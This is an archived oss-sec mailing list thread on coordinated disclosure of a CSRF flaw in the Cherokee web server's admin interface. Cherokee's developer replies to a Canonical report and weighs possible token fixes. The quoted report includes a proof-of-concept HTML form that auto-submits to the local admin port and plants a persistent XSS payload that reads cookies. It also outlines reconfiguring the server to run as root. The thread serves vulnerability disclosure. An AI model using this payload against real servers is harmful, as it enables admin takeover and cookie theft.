oss-sec mailing list archives

Re: Security issue in cherokee


From: Alvaro Lopez Ortega <alvaro () octality com>
Date: Mon, 6 Jun 2011 19:03:25 +0200

Hello Jamie,

First of all, thanks for the notice.

I've been thinking about this, and I must confess I haven't found a suitable
solution to the problem. I have even written a patch that mitigates the
issue, although it isn't still the proper solution. Allow me to elaborate a
little bit:


   - Cherokee-admin already puts a security cookie in place. The back-end
   checks on every single requests (GET and POST). Of course this does not
   solve the problem. Since the browser already knows the cookie, it sends it
   even while begin CRSF'ed.
   - I have cooked a patch that adds a "key=<random>" validation key to
   every single form of the application. It does work to protect against some
   very basic CRSF attacks, although it is not completely secure.
   Web browser are not supposed to allow to perform cross-domain requests,
   but they do. The problem is obvious then. The attacker could GET one of the
   app pages, extract the POST validation key and use it to get his POST
   accepted by the application.
   - I do not even mention useless techniques like checking the Referrer
   header.

Am I missing something?
Is there any idea/proposal on how to fix up the issue properly?

Cheers!


On Fri, Jun 3, 2011 at 6:01 PM, Jamie Strandboge <jamie () canonical com>wrote:

A security bug was reported against cherokee in Ubuntu. You are being
emailed as the upstream contact. Please keep oss-security[1] CC'd for
any updates on this issue.

This issue should be considered public, but has not yet been assigned a
CVE. Once a CVE is assigned, please mention it in any changelogs.

Details from the public bug follow:
https://launchpad.net/bugs/784632

From the reporter:
----
The cherokee admin server is vulnerable to csrf.

Using csrf it is possible to produce a persistent xss in several pages -
including the 'status' page via the 'nickname field' of a vserver.
An example of this is the following:

<html>
<body>
 <form action="http://127.0.0.1:9090/vserver/apply"; method="post"
id="xssform">
 <input type="text" name="tmp!new_droot" value='/var/www/'></input>
 <input type="text" name="tmp!new_nick" value='" onselect=alert(1)
autofocus> <embed src="javascript:alert(document.cookie)">'></input>
</form>
<script>document.getElementById("xssform").submit();</script>
</body>

A Worst case scenario could be something like the following:
If a user is logged in and the cherokee admin server is running on
localhost:9090 then if they visit a $bad page - the bad page may be able
to send requests to the server so as to reconfigure it to:

1. run as root
2. the logging of error(or access) will run a command ...
----

Thanks in advance for your cooperation in coordinating a fix for this
issue,

Jamie Strandboge

[1] oss-security () lists openwall com is a public mailing list for
   people to collaborate on security vulnerabilities and coordinate
   security updates.

--
Jamie Strandboge             | http://www.canonical.com




-- 
Greetings, alo
http://www.octality.com/

Current thread: